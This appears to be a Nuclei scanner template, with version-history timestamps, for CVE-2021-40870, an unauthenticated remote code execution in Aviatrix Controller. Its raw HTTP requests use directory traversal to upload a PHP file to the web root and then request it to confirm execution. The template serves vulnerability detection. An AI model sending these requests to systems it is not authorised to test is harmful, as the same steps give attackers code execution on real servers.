nuclei-templates/cves/2021/CVE-2021-40870.yaml

47 lines
1.4 KiB
YAML
Raw Normal View History

2021-09-30 06:57:47 +00:00
id: CVE-2021-40870
info:
2022-03-07 14:08:43 +00:00
name: Aviatrix Controller 6.x before 6.5-1804.1922 Remote Command Execution
2021-09-30 06:57:47 +00:00
author: pikpikcu
severity: critical
description: Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.
2021-09-30 06:57:47 +00:00
reference:
- https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021
2021-09-30 06:57:47 +00:00
- https://wearetradecraft.com/advisories/tc-2021-0002/
2021-09-30 10:20:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-40870
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-40870
cwe-id: CWE-434
tags: cve,cve2021,rce,aviatrix
2021-09-30 06:57:47 +00:00
requests:
- raw:
- |
POST /v1/backend1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=HACKERMAN<?php phpinfo()?>
2021-09-30 10:20:41 +00:00
2021-09-30 06:57:47 +00:00
- |
GET /v1/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- 'HACKERMAN'
2021-09-30 10:20:41 +00:00
- "PHP Extension"
- "PHP Version"
2021-09-30 06:57:47 +00:00
condition: and
# Enhanced by mp on 2022/03/06